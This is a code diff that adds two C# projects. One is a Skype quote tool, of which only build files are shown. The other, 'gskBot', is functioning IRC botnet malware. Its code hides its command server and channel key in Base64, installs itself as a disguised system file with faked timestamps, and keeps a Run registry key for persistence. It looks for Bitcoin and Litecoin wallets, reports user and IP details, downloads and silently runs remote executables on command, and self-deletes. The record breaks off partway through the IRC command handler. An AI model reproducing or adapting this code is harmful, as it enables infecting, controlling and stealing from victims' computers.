diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings
@@ -0,0 +1,7 @@
+<?xml version='1.0' encoding='utf-8'?>
+<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
+  <Profiles>
+    <Profile Name="(Default)" />
+  </Profiles>
+  <Settings />
+</SettingsFile>
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj
@@ -0,0 +1,116 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AppDesignerFolder>Properties</AppDesignerFolder>
+    <RootNamespace>SkypeQuote</RootNamespace>
+    <AssemblyName>SkypeQuote</AssemblyName>
+    <TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
+    <FileAlignment>512</FileAlignment>
+    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
+    <TargetFrameworkProfile />
+    <PublishUrl>publish\</PublishUrl>
+    <Install>true</Install>
+    <InstallFrom>Disk</InstallFrom>
+    <UpdateEnabled>false</UpdateEnabled>
+    <UpdateMode>Foreground</UpdateMode>
+    <UpdateInterval>7</UpdateInterval>
+    <UpdateIntervalUnits>Days</UpdateIntervalUnits>
+    <UpdatePeriodically>false</UpdatePeriodically>
+    <UpdateRequired>false</UpdateRequired>
+    <MapFileExtensions>true</MapFileExtensions>
+    <ApplicationRevision>0</ApplicationRevision>
+    <ApplicationVersion>1.0.0.%2a</ApplicationVersion>
+    <IsWebBootstrapper>false</IsWebBootstrapper>
+    <UseApplicationTrust>false</UseApplicationTrust>
+    <BootstrapperEnabled>true</BootstrapperEnabled>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <UseVSHostingProcess>false</UseVSHostingProcess>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup>
+    <ApplicationIcon>skype.ico</ApplicationIcon>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Deployment" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Main.cs">
+      <SubType>Form</SubType>
+    </Compile>
+    <Compile Include="Main.Designer.cs">
+      <DependentUpon>Main.cs</DependentUpon>
+    </Compile>
+    <Compile Include="Program.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+    <EmbeddedResource Include="Main.resx">
+      <DependentUpon>Main.cs</DependentUpon>
+    </EmbeddedResource>
+    <EmbeddedResource Include="Properties\Resources.resx">
+      <Generator>ResXFileCodeGenerator</Generator>
+      <LastGenOutput>Resources.Designer.cs</LastGenOutput>
+      <SubType>Designer</SubType>
+    </EmbeddedResource>
+    <Compile Include="Properties\Resources.Designer.cs">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Resources.resx</DependentUpon>
+      <DesignTime>True</DesignTime>
+    </Compile>
+    <None Include="ClassDiagram1.cd" />
+    <None Include="Properties\Settings.settings">
+      <Generator>SettingsSingleFileGenerator</Generator>
+      <LastGenOutput>Settings.Designer.cs</LastGenOutput>
+    </None>
+    <Compile Include="Properties\Settings.Designer.cs">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Settings.settings</DependentUpon>
+      <DesignTimeSharedInput>True</DesignTimeSharedInput>
+    </Compile>
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="App.config" />
+  </ItemGroup>
+  <ItemGroup>
+    <Content Include="skype.ico" />
+  </ItemGroup>
+  <ItemGroup>
+    <BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
+      <Visible>False</Visible>
+      <ProductName>.NET Framework 3.5 SP1</ProductName>
+      <Install>true</Install>
+    </BootstrapperPackage>
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
+       Other similar extension points exist, see Microsoft.Common.targets.
+  <Target Name="BeforeBuild">
+  </Target>
+  <Target Name="AfterBuild">
+  </Target>
+  -->
+</Project>
+\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <PublishUrlHistory>publish\</PublishUrlHistory>
+    <InstallUrlHistory />
+    <SupportUrlHistory />
+    <UpdateUrlHistory />
+    <BootstrapperUrlHistory />
+    <ErrorReportUrlHistory />
+    <FallbackCulture>en-US</FallbackCulture>
+    <VerifyUploadedFiles>false</VerifyUploadedFiles>
+  </PropertyGroup>
+</Project>
+\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<configuration>
+    <startup> 
+        
+    <supportedRuntime version="v2.0.50727"/></startup>
+</configuration>
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<configuration>
+    <startup> 
+        
+    <supportedRuntime version="v2.0.50727"/></startup>
+</configuration>
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
+  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
+  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
+    <security>
+      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
+        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
+      </requestedPrivileges>
+    </security>
+  </trustInfo>
+</assembly>
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt
@@ -0,0 +1,9 @@
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.exe.config
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.exe
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.pdb
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.csprojResolveAssemblyReference.cache
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.Main.resources
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.Properties.Resources.resources
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.csproj.GenerateResource.Cache
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.exe
+c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.pdb
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/skype.ico b/c#/Skype Quote Generator/Source/SkypeQuote/skype.ico
Binary files differ.
diff --git a/c#/gskBot/.vs/gskBot/v14/.suo b/c#/gskBot/.vs/gskBot/v14/.suo
Binary files differ.
diff --git a/c#/gskBot/gskBot.sln b/c#/gskBot/gskBot.sln
@@ -0,0 +1,22 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Express 2013 for Windows Desktop
+VisualStudioVersion = 12.0.21005.1
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "gskBot", "gskBot\gskBot.csproj", "{E3BEC248-AB70-4696-B5D1-46C275D8970E}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal
diff --git a/c#/gskBot/gskBot.v12.suo b/c#/gskBot/gskBot.v12.suo
Binary files differ.
diff --git a/c#/gskBot/gskBot/App.config b/c#/gskBot/gskBot/App.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<configuration>
+    <startup> 
+        
+    <supportedRuntime version="v2.0.50727"/></startup>
+</configuration>
diff --git a/c#/gskBot/gskBot/Bot.cs b/c#/gskBot/gskBot/Bot.cs
@@ -0,0 +1,60 @@
+#region Imports
+using System.Threading;
+using Microsoft.Win32;
+//using System.Reflection;
+#endregion
+
+#region Assembly
+/*
+[assembly: AssemblyTitle("")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("")]
+[assembly: AssemblyCopyright("")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+[assembly: ComVisible(false)]
+[assembly: Guid("00000000-0000-0000-0000-000000000000")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+*/
+#endregion
+
+namespace gskBot {
+    class Bot {
+        #region Startup
+        static void Main() {
+            if (Config.Startup) Function.Install();
+            SystemEvents.PowerModeChanged += SessionEvents;
+            SystemEvents.SessionEnding    += PowerEvents;
+            Thread.Sleep(Config.ConnectionDelay);
+            IRC.Connect();
+        }
+        #endregion
+
+        #region Events
+        static void PowerEvents(object sender, SessionEndingEventArgs e) {
+            switch (e.Reason) {
+                case SessionEndReasons.Logoff:
+                    if (IRC.Connected) IRC.Quit("LOGOFF");
+                    break;
+                case SessionEndReasons.SystemShutdown:
+                    if (IRC.Connected) IRC.Quit("SHUTDOWN");
+                    break;
+            }
+        }
+
+        static void SessionEvents(object sender, PowerModeChangedEventArgs e) {
+            switch (e.Mode) {
+                case PowerModes.Resume:
+                    IRC.Connect();
+                    break;
+                case PowerModes.Suspend:
+                    if (IRC.Connected) IRC.Quit("SLEEP");
+                    break;
+            }
+        }
+        #endregion
+    }
+}
+\ No newline at end of file
diff --git a/c#/gskBot/gskBot/Config.cs b/c#/gskBot/gskBot/Config.cs
@@ -0,0 +1,38 @@
+#region Imports
+using System;
+using System.Diagnostics;
+#endregion
+
+namespace gskBot {
+    class Config {
+        #region Connection Settings
+        public static string Server     = Function.Base64Decode("aXJjLnN1cGVybmV0cy5vcmc="); // irc.supernets.org
+        public static string Channel    = Function.Base64Decode("I2hhcmJvcg==");             // #harbor
+        public static string ChannelKey = Function.Base64Decode("QmFiQ2FkeTE5OTU=");         // BabCady1995
+        public static int    Port       = 6697;
+        #endregion
+
+        #region Bot Settings
+        public static string ID         = Function.RandomStr(6).ToUpper();
+        public static string Nick       = Function.GetCountryCode() + "|" + Function.GetOS() + "-" + Function.GetMachineType() + "|" + ID;
+        public static string AdminHost  = Function.Base64Decode("c3VwZXIubmV0cw==");
+        #endregion
+
+        #region Startup Settings
+        public static bool Persistance      = true;
+        public static bool Startup          = true;
+        public static string StartupKeyName = "Windows Host Module";
+        public static string StartupKeyDir  = @"Software\Microsoft\Windows\CurrentVersion\Run";
+        public static string AppData        = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
+        public static string InstallFile    = AppData + @"\Microsoft\Windows\Services\sppsvc.exe";
+        #endregion
+
+        #region Other Settings
+        public static bool   Debug           = false;
+        public static int    ConnectionDelay = 30000;
+        public static int    ReconnectDelay  = 300000;
+        public static string SelfPath        = Process.GetCurrentProcess().MainModule.FileName;
+        public static string Version         = "1.0.0";
+        #endregion
+    }
+}
diff --git a/c#/gskBot/gskBot/Function.cs b/c#/gskBot/gskBot/Function.cs
@@ -0,0 +1,235 @@
+#region Imports
+using Microsoft.Win32;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Net;
+using System.Reflection;
+using System.Security.Cryptography;
+using System.Security.Principal;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Threading;
+#endregion
+
+namespace gskBot {
+    class Function {
+        #region Check Network
+        public static bool CheckNetwork() {
+            return System.Net.NetworkInformation.NetworkInterface.GetIsNetworkAvailable();
+        }
+        #endregion
+
+        #region CryptoCurrency Check
+        public static bool CheckBTC() {
+            if (File.Exists(Config.AppData + @"\Bitcoin\wallet.dat")) return true;
+            else return false;
+        }
+
+        public static bool CheckLTC() {
+            if (File.Exists(Config.AppData + @"\Litecoin\wallet.dat")) return true;
+            else return false;
+        }
+        #endregion
+
+        #region Download & Execute
+        public static void Download(string URL) {
+            string TempFile = Path.GetTempPath() + Function.RandomStr(6) + Path.GetExtension(URL);
+            using (WebClient WC = new WebClient()) WC.DownloadFile(URL, TempFile);
+            using (Process DropProcesss = new Process()) {
+                DropProcesss.StartInfo.FileName       = TempFile;
+                DropProcesss.StartInfo.WindowStyle    = ProcessWindowStyle.Hidden;
+                DropProcesss.StartInfo.CreateNoWindow = true;
+                DropProcesss.Start();
+            }
+        }
+        #endregion
+
+        #region Get Admin
+        public static bool GetAdmin() {
+            return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
+        }
+        #endregion
+
+        #region Get Age
+        public static string GetAge() {
+            DateTime CreationTime = File.GetCreationTime(Config.SelfPath);
+            if (DateTime.Now.Subtract(CreationTime).TotalHours < 1) return " [NEW]";
+            else return "";
+        }
+        #endregion
+
+        #region Get Computer Name
+        public static string GetComputerName() {
+            return Environment.MachineName;
+        }
+        #endregion
+
+        #region Get Country Code
+        public static string GetCountryCode() {
+            return System.Globalization.RegionInfo.CurrentRegion.TwoLetterISORegionName;
+        }
+        #endregion
+
+        #region Get IP Address
+        public static string GetIP() {
+            try {
+                string externalIP;
+                externalIP = (new WebClient()).DownloadString("http://checkip.dyndns.org/");
+                externalIP = (new Regex(@"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")).Matches(externalIP)[0].ToString();
+                return externalIP;
+            } catch {
+                return "Unknown IP";
+            }
+        }
+        #endregion
+
+        #region Get Machine Type
+        public static string GetMachineType() {
+            if (Registry.LocalMachine.OpenSubKey(@"Hardware\Description\System\CentralProcessor\0").GetValue("Identifier").ToString().Contains("x86")) return "32";
+            else return "64";
+        }
+        #endregion
+
+        #region Get Operating System
+        public static string GetOS() {
+            int Major = Environment.OSVersion.Version.Major;
+            int Minor = Environment.OSVersion.Version.Minor;
+            if (Environment.OSVersion.Platform == PlatformID.Win32Windows) {
+                if      (Minor == 0)              return "W95";
+                else if (Minor == 10)             return "W98";
+                else if (Minor == 90)             return "WME";
+                else                              return "W?";
+            } else if (Environment.OSVersion.Platform == PlatformID.Win32NT) {
+                if      (Major == 5 & Minor == 0) return "WS2K";
+                else if (Major == 5 & Minor == 1) return "WXP";
+                else if (Major == 5 & Minor == 2) return "WS2K3";
+                else if (Major == 6 & Minor == 0) return "WV";
+                else if (Major == 6 & Minor == 1) return "W7";
+                else if (Major == 6 & Minor == 2) return "W8";
+                else if (Major == 6 & Minor == 3) return "W81";
+                else if (Major == 10)             return "W10";
+                else                              return "W?";
+            } else                                return "W?";
+        }
+        #endregion
+
+        #region Get File Size
+        public static string GetFileSize(string URL) {
+            WebRequest RequestURL = HttpWebRequest.Create(URL);
+            RequestURL.Method     = "HEAD";
+            WebResponse resp      = RequestURL.GetResponse();
+            long ContentLength    = 0;
+            long FileSizeConverted;
+            if (long.TryParse(resp.Headers.Get("Content-Length"), out ContentLength)) {
+                string FileSize;
+                string FileSizeExt;
+                if (ContentLength >= 1073741824) {
+                    FileSizeConverted = ContentLength / 1073741824;
+                    FileSizeExt       = "Gb";
+                } else if (ContentLength >= 1048576) {
+                    FileSizeConverted = ContentLength / 1048576;
+                    FileSizeExt       = "Mb";
+                } else {
+                    FileSizeConverted = ContentLength / 1024;
+                    FileSizeExt       = "Kb";
+                }
+                FileSize = FileSizeConverted.ToString("0");
+                return FileSize + " " + FileSizeExt;
+            } else {
+                return "Unknown Size";
+            }
+        }
+        #endregion
+
+        #region Get Username
+        public static string GetUsername() {
+            return Environment.UserName;
+        }
+        #endregion
+
+        #region Hash Encoding
+        public static string Base64Encode(string plainText) {
+            var plainTextBytes = Encoding.UTF8.GetBytes(plainText);
+            return Convert.ToBase64String(plainTextBytes);
+        }
+
+        public static string Base64Decode(string base64EncodedData) {
+            var base64EncodedBytes = Convert.FromBase64String(base64EncodedData);
+            return Encoding.UTF8.GetString(base64EncodedBytes);
+        }
+
+        public static string MD5File(string FileName) {
+            using (var md5 = MD5.Create()) {
+                using (var stream = File.OpenRead(FileName)) {
+                    return BitConverter.ToString(md5.ComputeHash(stream)).Replace("-", string.Empty);
+                }
+            }
+        }
+        #endregion
+
+        #region Persistence
+        public static void Persistence() {
+            RegistryKey HKCU = Registry.CurrentUser.OpenSubKey(Config.StartupKeyDir, true);
+            while (Config.Persistance) {
+                HKCU.SetValue(Config.StartupKeyName, Config.InstallFile);
+                Thread.Sleep(5000);
+            }
+        }
+        #endregion
+
+        #region Random Integer / String
+        public static int RandomInt(int min, int max) {
+            Random RandomObject = new Random();
+            return RandomObject.Next(min, max);
+        }
+
+        public static string RandomStr(int size) {
+            Random RandomObject = new Random();
+            string CharList     = "abcdefghijklmnpqrstuvwxyz23456789";
+            char[] buffer       = new char[size];
+            for (int i = 0; i < size; i++) buffer[i] = CharList[RandomObject.Next(CharList.Length)];
+            return new string(buffer);
+        }
+        #endregion
+
+        #region Install / Uninstall
+        public static void Install() {
+            if (Config.SelfPath == Config.InstallFile) new Thread(Persistence).Start();
+            else {
+                if (!File.Exists(Config.InstallFile)) {
+                    if (!Directory.Exists(Config.InstallFile)) Directory.CreateDirectory(Path.GetDirectoryName(Config.InstallFile));
+                    Directory.SetCreationTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+                    Directory.SetLastAccessTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+                    Directory.SetLastWriteTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+                    File.Copy(Config.SelfPath, Config.InstallFile, true);
+                    File.SetCreationTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+                    File.SetLastAccessTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+                    File.SetLastWriteTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
+                    File.SetAttributes(Config.InstallFile, FileAttributes.Hidden | FileAttributes.System | FileAttributes.ReadOnly | FileAttributes.NotContentIndexed);
+                    Process.Start(Config.InstallFile);
+                    Environment.Exit(0);
+                } else Environment.Exit(0);
+            }
+        }
+
+        public static void Uninstall() {
+            Config.Persistance = false;
+            try {
+                RegistryKey HKCU = Registry.CurrentUser.OpenSubKey(Config.StartupKeyDir, true);
+                HKCU.DeleteValue(Config.StartupKeyName);
+                File.SetAttributes(Config.SelfPath, FileAttributes.Normal);
+                ProcessStartInfo MeltProcess = new ProcessStartInfo();
+                MeltProcess.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Config.SelfPath;
+                MeltProcess.WindowStyle = ProcessWindowStyle.Hidden;
+                MeltProcess.CreateNoWindow = true;
+                MeltProcess.FileName = "cmd.exe";
+                Process.Start(MeltProcess);
+                Environment.Exit(0);
+            } catch {
+                Environment.Exit(0);
+            }
+        }
+        #endregion
+    }
+}
+\ No newline at end of file
diff --git a/c#/gskBot/gskBot/IRC.cs b/c#/gskBot/gskBot/IRC.cs
@@ -0,0 +1,146 @@
+#region Imports
+using System;
+using System.Diagnostics;
+using System.Net.Sockets;
+using System.Text.RegularExpressions;
+using System.IO;
+using System.Threading;
+using System.Net.Security;
+using System.Security.Cryptography.X509Certificates;
+#endregion
+
+namespace gskBot {
+    class IRC {
+        #region Globals
+        static SslStream SslStream;
+        static StreamReader SockRead;
+        static StreamWriter SockWrite;
+        static TcpClient    TCP;
+        public static bool  Connected = false;
+        static string       Data;
+        static string[]     Args;
+        #endregion
+
+        #region Close Connections
+        public static void CloseConnections() {
+            SockRead.Close();
+            SockWrite.Close();
+            SslStream.Close();
+            TCP.Close();
+            Connected = false;
+        }
+        #endregion
+        
+        #region Connect
+        public static void Connect() {
+            try {
+                TCP       = new TcpClient(Config.Server, Config.Port) { ReceiveBufferSize = 1024 };
+                SslStream = new SslStream(TCP.GetStream(), false, new RemoteCertificateValidationCallback(OnCertificateValidation));
+                SslStream.AuthenticateAsClient(Config.Server);
+                SockRead  = new StreamReader(SslStream);
+                SockWrite = new StreamWriter(SslStream) { AutoFlush = true, NewLine = "\r\n" };
+                Raw("NICK " + Config.Nick);
+                Raw("USER " + Config.ID.ToLower() + " * " + Config.Server + " :" + Config.Nick);
+                Connected = true;
+                Listen();
+            } catch {
+                Reconnect();
+            }
+        }
+        #endregion
+
+        #region Command Handler
+        public static void CommandHandler(string Data) {
+            if (Data != null) {
+                if (Config.Debug) Console.WriteLine(Data);
+                Args = Data.Split();
+                if (Args.Length >= 2) {
+                    if (Args[0] == "PING") Raw("PONG " + Args[1]);
+                    else if (Args[1] == "002") Raw("JOIN " + Config.Channel + " " + Config.ChannelKey); //Why is 001 not showing?
+                    else if (Args[1] == "KICK") Raw("JOIN " + Config.Channel + " " + Config.ChannelKey);
+                    else if (Args[1] == "PRIVMSG") {
+                        string Message = Regex.Split(Data, Config.Channel + " :")[1];
+                        string Nick = Data.Split(' ')[0].Split('!')[0].Replace(":", "");
+                        string Host = Data.Split(' ')[0].Split('@')[1];
+                        if (Host == Config.AdminHost & Message.StartsWith("@")) {
+                            if (Message == "@coin") {
+                                if (Function.CheckBTC()) SendMessage("Bitcoin wallet found.");
+                                if (Function.CheckLTC()) SendMessage("Litecoin wallet found.");
+                            } else if (Message.StartsWith("@dl all ") | Message.StartsWith("@dl " + Config.ID + " ")) {
+                                string URL = Message.Replace("@dl " + Config.ID + " ", string.Empty);
+                                URL = URL.Replace("@dl all ", string.Empty);
+                                Uri FileURL = new Uri(URL);
+                                if (URL.EndsWith(".exe")) {
+                                    SendMessage("Downloading \"" + Path.GetFileName(FileURL.LocalPath) + "\" (" + Function.GetFileSize(URL) + ")");
+                                    Stopwatch DownloadTimer = new Stopwatch();
+                                    DownloadTimer.Start();
+                                    Function.Download(URL);
+                                    DownloadTimer.Stop();
+                                    SendMessage("Download Complete! (" + Convert.ToInt32(DownloadTimer.Elapsed.TotalSeconds).ToString() + " Seconds)");
+                                } else SendMessage("Error - Invalid URL");
+                            } else if (Message == "@info" | Message == "@info " + Config.ID) {
+                                SendMessage(Config.Version + " - " + Function.GetUsername() + "@" + Function.GetComputerName() + " (" + Function.GetIP() + ")" + Function.GetAge());
+                            } else if (Message == "@kill " + Config.ID) {
+                                Quit("KILL");
+                                if (Config.Startup) Function.Uninstall();
